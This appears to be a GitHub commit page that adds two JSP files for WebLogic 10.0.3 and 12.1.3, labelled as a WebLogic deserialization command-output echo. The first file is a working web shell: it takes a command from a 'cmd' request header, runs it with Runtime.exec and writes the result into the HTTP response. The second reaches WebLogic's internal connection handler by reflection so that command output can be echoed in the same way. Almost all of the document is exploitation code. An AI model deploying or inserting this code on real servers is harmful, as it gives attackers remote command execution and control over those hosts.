Skip to content

Commit d0b5bd5

Browse files
author
feihong
committed
weblogic反序列化回显
1 parent 4abe0a1 commit d0b5bd5

File tree

2 files changed

+21
-0
lines changed

2 files changed

+21
-0
lines changed

weblogic/code/weblogic-10.0.3.jsp

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
String cmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("cmd");
4+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
5+
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
6+
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
7+
outputStream.writeStream(new weblogic.xml.util.StringInputStream(res));
8+
outputStream.flush();
9+
response.getWriter().write("");
10+
%>

weblogic/code/weblogic-12.1.3.jsp

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
4+
field.setAccessible(true);
5+
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
6+
String cmd = "echo \"It works!\"";
7+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
8+
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(res));
9+
httpConn.getServletRequest().getResponse().getServletOutputStream().flush();
10+
httpConn.getServletRequest().getResponse().getWriter().write("");
11+
%>

0 commit comments

Comments
 (0)